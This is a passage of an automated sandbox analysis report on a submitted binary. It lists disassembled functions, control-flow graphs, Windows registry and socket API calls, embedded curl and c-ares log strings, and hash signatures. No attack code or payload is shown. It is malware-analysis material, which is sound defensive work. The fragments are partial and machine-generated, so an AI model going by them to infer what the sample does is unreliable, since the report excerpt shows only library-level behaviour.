1883->1902 1884->1871 1905 bab307-bab310 1884->1905 1897 bab3cc-bab3d9 1887->1897 1892 bab349-bab358 1888->1892 1893 bab384-bab38f 1888->1893 1899 bab360-bab382 1892->1899 1893->1887 1900 bab391-bab3a5 1893->1900 1914 bab48c-bab4a7 1895->1914 1915 bab473-bab487 1895->1915 1896->1895 1897->1858 1899->1893 1899->1899 1906 bab3b0-bab3bd 1900->1906 1912 bab2cc-bab2dd 1901->1912 1902->1871 1905->1897 1906->1887 1906->1906 1912->1871 1916 bab2e3 1912->1916 1917 bab4a9-bab4b1 call bab660 1914->1917 1918 bab4b3-bab4cb call bab660 1914->1918 1915->1877 1916->1905 1917->1918 1923 bab4d9-bab4f5 call bab660 1918->1923 1924 bab4cd-bab4d5 call bab660 1918->1924 1929 bab50d-bab52b call bab770 * 2 1923->1929 1930 bab4f7-bab50b 1923->1930 1924->1923 1929->1877 1935 bab52d-bab531 1929->1935 1930->1877 1936 bab533-bab53b 1935->1936 1937 bab580 1935->1937 1938 bab578-bab57e 1936->1938 1939 bab53d-bab547 1936->1939 1937->1877 1938->1877 1939->1938 1940 bab549-bab54d 1939->1940 1940->1938 1941 bab54f-bab558 1940->1941 1941->1938 1942 bab55a-bab576 call bab870 * 2 1941->1942 1942->1877 1942->1938
                                  APIs
                                  • getsockname.WS2_32(-00000020,-00000020,?), ref: 00BAB2B6
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: getsockname
                                  • String ID: ares__sortaddrinfo.c$cur != NULL
                                  • API String ID: 3358416759-2430778319
                                  • Opcode ID: b5ce74283c143128b87b83cc1b8550a71fc5bf69dc9cabc2ffe43bf3b2a7079c
                                  • Instruction ID: a5f730d6ce3b7214419dc7d7a39a0ff1e05d9a11dce7d518b450d955ad516cb7
                                  • Opcode Fuzzy Hash: b5ce74283c143128b87b83cc1b8550a71fc5bf69dc9cabc2ffe43bf3b2a7079c
                                  • Instruction Fuzzy Hash: 60C171716083059FDB18DF24C891E6A77E1FF9A314F0489ADE8658B3A2DB34ED45CB81
                                  Function 00BAA8C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                  Download Yara Rule
                                  APIs
                                  • recvfrom.WS2_32(?,?,?,00000000,00001001,?,?,?,?,?,00B9712E,?,?,?,00001001,00000000), ref: 00BAA90D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: recvfrom
                                  • String ID:
                                  • API String ID: 846543921-0
                                  • Opcode ID: 95e3e4b613e7bb1f915cb4d216242a1809666fd4d5012110a5209d20580106c0
                                  • Instruction ID: 51c0ef0ce63446a354522c083b4a020905e92b166bcc5d3939fd4f469d73a2f7
                                  • Opcode Fuzzy Hash: 95e3e4b613e7bb1f915cb4d216242a1809666fd4d5012110a5209d20580106c0
                                  • Instruction Fuzzy Hash: F8F01D75118348BFD2109E41DC88D6BBBEDEFCA754F05496DF958232119371AE10CAB2
                                  Function 00B9A440 Relevance: 44.8, APIs: 17, Strings: 8, Instructions: 1066registryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 00B9AA19
                                  • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 00B9AA4C
                                  • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 00B9AA97
                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 00B9AAE9
                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 00B9AB30
                                  • RegCloseKey.KERNELBASE(?), ref: 00B9AB6A
                                  • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 00B9AB82
                                  • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 00B9AC46
                                  • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 00B9AD0A
                                  • RegEnumKeyExA.KERNELBASE ref: 00B9AD8D
                                  • RegCloseKey.KERNELBASE(?), ref: 00B9ADD9
                                  • RegEnumKeyExA.KERNELBASE ref: 00B9AE08
                                  • RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 00B9AE2A
                                  • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 00B9AE54
                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 00B9AF63
                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 00B9AFB2
                                  • RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 00B9B072
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: QueryValue$Open$CloseEnum
                                  • String ID: DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
                                  • API String ID: 4217438148-1047472027
                                  • Opcode ID: 8111281e906fc99aa45b419a67d73f3ce29c9ff64775a9c3719641494386615f
                                  • Instruction ID: 46abffa6f909de19f9e3bd3620b2ffe906fc42743be8722d9e00e0d840e522d4
                                  • Opcode Fuzzy Hash: 8111281e906fc99aa45b419a67d73f3ce29c9ff64775a9c3719641494386615f
                                  • Instruction Fuzzy Hash: 7772AFB1608341ABEB20DB24DC85B6B77E8EF95700F144868F985DB291EB71E944CB93
                                  Function 00B1A550 Relevance: 28.8, APIs: 1, Strings: 15, Instructions: 794COMMON
                                  Download Yara Rule
                                  APIs
                                  • setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 00B1A832
                                  Strings
                                  • Couldn't bind to '%s' with errno %d: %s, xrefs: 00B1AE1F
                                  • @, xrefs: 00B1A8F4
                                  • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 00B1A6CE
                                  • Trying [%s]:%d..., xrefs: 00B1A689
                                  • cf-socket.c, xrefs: 00B1A5CD, 00B1A735
                                  • Local port: %hu, xrefs: 00B1AF28
                                  • Trying %s:%d..., xrefs: 00B1A7C2, 00B1A7DE
                                  • Bind to local port %d failed, trying next, xrefs: 00B1AFE5
                                  • Name '%s' family %i resolved to '%s' family %i, xrefs: 00B1ADAC
                                  • @, xrefs: 00B1AC42
                                  • Could not set TCP_NODELAY: %s, xrefs: 00B1A871
                                  • bind failed with errno %d: %s, xrefs: 00B1B080
                                  • cf_socket_open() -> %d, fd=%d, xrefs: 00B1A796
                                  • Couldn't bind to interface '%s' with errno %d: %s, xrefs: 00B1AD0A
                                  • Local Interface %s is ip %s using address family %i, xrefs: 00B1AE60
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: setsockopt
                                  • String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
                                  • API String ID: 3981526788-2373386790
                                  • Opcode ID: d20bd0aac288c865741ca29e0e07feb1552d18db961b3dd9c9e4c9d1862d2689
                                  • Instruction ID: d6f3a3e5af67814304d27b1b76f773ed362d5dbcfe6d468d1abcef14fa6f7ccf
                                  • Opcode Fuzzy Hash: d20bd0aac288c865741ca29e0e07feb1552d18db961b3dd9c9e4c9d1862d2689
                                  • Instruction Fuzzy Hash: 12621571509341ABE721CF14C886BEBB7E5FF80304F4449A9F98897282E771E985CB93
                                  Function 00BA9740 Relevance: 18.2, APIs: 3, Strings: 7, Instructions: 743registryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 861 ba9740-ba975b 862 ba975d-ba9768 call ba78a0 861->862 863 ba9780-ba9782 861->863 871 ba99bb-ba99c0 862->871 872 ba976e-ba9770 862->872 865 ba9788-ba97a0 call e68e00 call ba78a0 863->865 866 ba9914-ba994e call e68b70 RegOpenKeyExA 863->866 865->871 877 ba97a6-ba97c5 865->877 874 ba995a-ba9992 RegQueryValueExA RegCloseKey call e68b98 866->874 875 ba9950-ba9955 866->875 878 ba9a0c-ba9a15 871->878 876 ba9772-ba977e 872->876 872->877 889 ba9997-ba99b5 call ba78a0 874->889 875->878 876->865 884 ba9827-ba9833 877->884 885 ba97c7-ba97e0 877->885 890 ba985f-ba9872 call ba5ca0 884->890 891 ba9835-ba985c call b9e2b0 * 2 884->891 887 ba97e2-ba97f3 call e68b50 885->887 888 ba97f6-ba9809 885->888 887->888 888->884 901 ba980b-ba9810 888->901 889->871 889->877 902 ba9878-ba987d call ba77b0 890->902 903 ba99f0 890->903 891->890 901->884 906 ba9812-ba9822 901->906 910 ba9882-ba9889 902->910 905 ba99f5-ba99fb call ba5d00 903->905 915 ba99fe-ba9a09 905->915 906->878 910->905 914 ba988f-ba989b call b94fe0 910->914 914->903 919 ba98a1-ba98c3 call e68b50 call ba78a0 914->919 915->878 925 ba98c9-ba98db call b9e2d0 919->925 926 ba99c2-ba99ed call b9e2b0 * 2 919->926 925->926 930 ba98e1-ba98f0 call b9e2d0 925->930 926->903 930->926 937 ba98f6-ba9905 call ba63f0 930->937 941 ba990b-ba990f 937->941 942 ba9f66-ba9f7f call ba5d00 937->942 944 ba9a3f-ba9a5a call ba6740 call ba63f0 941->944 942->915 944->942 950 ba9a60-ba9a6e call ba6d60 944->950 953 ba9a1f-ba9a39 call ba6840 call ba63f0 950->953 954 ba9a70-ba9a94 call ba6200 call ba67e0 call ba6320 950->954 953->942 953->944 965 ba9a16-ba9a19 954->965 966 ba9a96-ba9ac6 call b9d120 954->966 965->953 968 ba9fc1 965->968 971 ba9ac8-ba9adb call b9d120 966->971 972 ba9ae1-ba9af7 call b9d190 966->972 970 ba9fc5-ba9ffd call ba5d00 call b9e2b0 * 2 968->970 970->915 971->953 971->972 972->953 980 ba9afd-ba9b09 call b94fe0 972->980 980->968 986 ba9b0f-ba9b29 call b9e730 980->986 990 ba9b2f-ba9b3a call ba78a0 986->990 991 ba9f84-ba9f88 986->991 990->991 998 ba9b40-ba9b54 call b9e760 990->998 994 ba9f95-ba9f99 991->994 996 ba9f9b-ba9f9e 994->996 997 ba9fa0-ba9fb6 call b9ebf0 * 2 994->997 996->968 996->997 1008 ba9fb7-ba9fbe 997->1008 1004 ba9f8a-ba9f92 998->1004 1005 ba9b5a-ba9b6e call b9e730 998->1005 1004->994 1011 ba9b8c-ba9b97 call ba63f0 1005->1011 1012 ba9b70-baa004 1005->1012 1008->968 1018 ba9c9a-ba9cab call b9ea00 1011->1018 1019 ba9b9d-ba9bbf call ba6740 call ba63f0 1011->1019 1016 baa015-baa01d 1012->1016 1020 baa01f-baa022 1016->1020 1021 baa024-baa045 call b9ebf0 * 2 1016->1021 1030 ba9f31-ba9f35 1018->1030 1031 ba9cb1-ba9ccd call b9ea00 call b9e960 1018->1031 1019->1018 1038 ba9bc5-ba9bda call ba6d60 1019->1038 1020->970 1020->1021 1021->970 1033 ba9f40-ba9f61 call b9ebf0 * 2 1030->1033 1034 ba9f37-ba9f3a 1030->1034 1049 ba9ccf 1031->1049 1050 ba9cfd-ba9d0e call b9e960 1031->1050 1033->953 1034->953 1034->1033 1038->1018 1048 ba9be0-ba9bf4 call ba6200 call ba67e0 1038->1048 1048->1018 1069 ba9bfa-ba9c0b call ba6320 1048->1069 1053 ba9cd1-ba9cec call b9e9f0 call b9e4a0 1049->1053 1059 ba9d53-ba9d55 1050->1059 1060 ba9d10 1050->1060 1070 ba9cee-ba9cfb call b9e9d0 1053->1070 1071 ba9d47-ba9d51 1053->1071 1063 ba9e69-ba9e8e call b9ea40 call b9e440 1059->1063 1064 ba9d12-ba9d2d call b9e9f0 call b9e4a0 1060->1064 1089 ba9e90-ba9e92 1063->1089 1090 ba9e94-ba9eaa call b9e3c0 1063->1090 1086 ba9d5a-ba9d6f call b9e960 1064->1086 1087 ba9d2f-ba9d3c call b9e9d0 1064->1087 1080 ba9c11-ba9c1c call ba7b70 1069->1080 1081 ba9b75-ba9b86 call b9ea00 1069->1081 1070->1050 1070->1053 1076 ba9dca-ba9ddb call b9e960 1071->1076 1099 ba9e2e-ba9e36 1076->1099 1100 ba9ddd-ba9ddf 1076->1100 1080->1011 1103 ba9c22-ba9c33 call b9e960 1080->1103 1081->1011 1108 ba9f2d 1081->1108 1114 ba9dc2 1086->1114 1115 ba9d71-ba9d73 1086->1115 1087->1064 1111 ba9d3e-ba9d42 1087->1111 1096 ba9eb3-ba9ec4 call b9e9c0 1089->1096 1118 baa04a-baa04c 1090->1118 1119 ba9eb0-ba9eb1 1090->1119 1096->953 1120 ba9eca-ba9ed0 1096->1120 1105 ba9e38-ba9e3b 1099->1105 1106 ba9e3d-ba9e5b call b9ebf0 * 2 1099->1106 1109 ba9e06-ba9e21 call b9e9f0 call b9e4a0 1100->1109 1130 ba9c66-ba9c75 call ba78a0 1103->1130 1131 ba9c35 1103->1131 1105->1106 1116 ba9e5e-ba9e67 1105->1116 1106->1116 1108->1030 1145 ba9e23-ba9e2c call b9eac0 1109->1145 1146 ba9de1-ba9dee call b9ec80 1109->1146 1111->1063 1114->1076 1125 ba9d9a-ba9db5 call b9e9f0 call b9e4a0 1115->1125 1116->1063 1116->1096 1123 baa04e-baa051 1118->1123 1124 baa057-baa070 call b9ebf0 * 2 1118->1124 1119->1096 1129 ba9ee5-ba9ef2 call b9e9f0 1120->1129 1123->968 1123->1124 1124->1008 1158 ba9db7-ba9dc0 call b9eac0 1125->1158 1159 ba9d75-ba9d82 call b9ec80 1125->1159 1129->953 1152 ba9ef8-ba9f0e call b9e440 1129->1152 1148 ba9c7b-ba9c8f call b9e7c0 1130->1148 1149 baa011 1130->1149 1138 ba9c37-ba9c51 call b9e9f0 1131->1138 1138->1011 1175 ba9c57-ba9c64 call b9e9d0 1138->1175 1163 ba9df1-ba9e04 call b9e960 1145->1163 1146->1163 1148->1011 1170 ba9c95-baa00e 1148->1170 1149->1016 1173 ba9ed2-ba9edf call b9e9e0 1152->1173 1174 ba9f10-ba9f26 call b9e3c0 1152->1174 1179 ba9d85-ba9d98 call b9e960 1158->1179 1159->1179 1163->1099 1163->1109 1170->1149 1173->953 1173->1129 1174->1173 1188 ba9f28 1174->1188 1175->1130 1175->1138 1179->1114 1179->1125 1188->968
                                  APIs
                                  • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 00BA9946
                                  • RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 00BA9974
                                  • RegCloseKey.KERNELBASE(?), ref: 00BA998B
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: CloseOpenQueryValue
                                  • String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos$sts
                                  • API String ID: 3677997916-4129964100
                                  • Opcode ID: db7151aa6307f17e000a25cad781e95daf341367b32c162bc6a30581f9b1e76e
                                  • Instruction ID: 2ec1f23b401e1f84313c90f9b9a59af4d871ad16d4311342d57905b42b648a0a
                                  • Opcode Fuzzy Hash: db7151aa6307f17e000a25cad781e95daf341367b32c162bc6a30581f9b1e76e
                                  • Instruction Fuzzy Hash: C132C5B5908201AFEB11EB24EC82A1B76D5EF56314F0848B8FD599A223FB31ED14D753
                                  Function 00B18B50 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 269networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1364 b18b50-b18b69 1365 b18be6 1364->1365 1366 b18b6b-b18b74 1364->1366 1369 b18be9 1365->1369 1367 b18b76-b18b8d 1366->1367 1368 b18beb-b18bf2 1366->1368 1370 b18bf3-b18bfe call b1a550 1367->1370 1371 b18b8f-b18ba7 call af6e40 1367->1371 1369->1368 1376 b18de4-b18def 1370->1376 1377 b18c04-b18c08 1370->1377 1378 b18cd9-b18d16 SleepEx 1371->1378 1379 b18bad-b18baf 1371->1379 1382 b18df5-b18e19 call b1a150 1376->1382 1383 b18e8c-b18e95 1376->1383 1380 b18dbd-b18dc3 1377->1380 1381 b18c0e-b18c1d 1377->1381 1400 b18d22 1378->1400 1401 b18d18-b18d20 1378->1401 1384 b18bb5-b18bb9 1379->1384 1385 b18ca6-b18cb0 1379->1385 1380->1369 1388 b18c35-b18c48 call b1a150 1381->1388 1389 b18c1f-b18c30 connect 1381->1389 1422 b18e88 1382->1422 1423 b18e1b-b18e26 1382->1423 1386 b18f00-b18f06 1383->1386 1387 b18e97-b18e9c 1383->1387 1384->1368 1392 b18bbb-b18bc2 1384->1392 1385->1378 1390 b18cb2-b18cb8 1385->1390 1386->1368 1394 b18edf-b18eef call ae78b0 1387->1394 1395 b18e9e-b18eb6 call af2a00 1387->1395 1421 b18c4d-b18c4f 1388->1421 1389->1388 1396 b18ddc-b18dde 1390->1396 1397 b18cbe-b18cd4 call b1b180 1390->1397 1392->1368 1399 b18bc4-b18bcc 1392->1399 1418 b18ef2-b18efc 1394->1418 1395->1394 1420 b18eb8-b18edd call af3410 * 2 1395->1420 1396->1369 1396->1376 1397->1376 1407 b18bd4-b18bda 1399->1407 1408 b18bce-b18bd2 1399->1408 1403 b18d26-b18d39 1400->1403 1401->1403 1410 b18d43-b18d61 call afd8c0 call b1a150 1403->1410 1411 b18d3b-b18d3d 1403->1411 1407->1368 1416 b18bdc-b18be1 1407->1416 1408->1368 1408->1407 1440 b18d66-b18d74 1410->1440 1411->1396 1411->1410 1424 b18dac-b18db8 call b250a0 1416->1424 1418->1386 1420->1418 1427 b18c51-b18c58 1421->1427 1428 b18c8e-b18c93 1421->1428 1422->1383 1429 b18e28-b18e2c 1423->1429 1430 b18e2e-b18e85 call afd090 call b24fd0 1423->1430 1424->1368 1427->1428 1436 b18c5a-b18c62 1427->1436 1432 b18c99-b18c9f 1428->1432 1433 b18dc8-b18dd9 call b1b100 1428->1433 1429->1422 1429->1430 1430->1422 1432->1385 1433->1396 1441 b18c64-b18c68 1436->1441 1442 b18c6a-b18c70 1436->1442 1440->1368 1446 b18d7a-b18d81 1440->1446 1441->1428 1441->1442 1442->1428 1448 b18c72-b18c8b call b250a0 1442->1448 1446->1368 1451 b18d87-b18d8f 1446->1451 1448->1428 1454 b18d91-b18d95 1451->1454 1455 b18d9b-b18da1 1451->1455 1454->1368 1454->1455 1455->1368 1457 b18da7 1455->1457 1457->1424
                                  APIs
                                  • connect.WS2_32(?,?,00000001), ref: 00B18C30
                                  • SleepEx.KERNELBASE(00000000,00000000), ref: 00B18CF3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
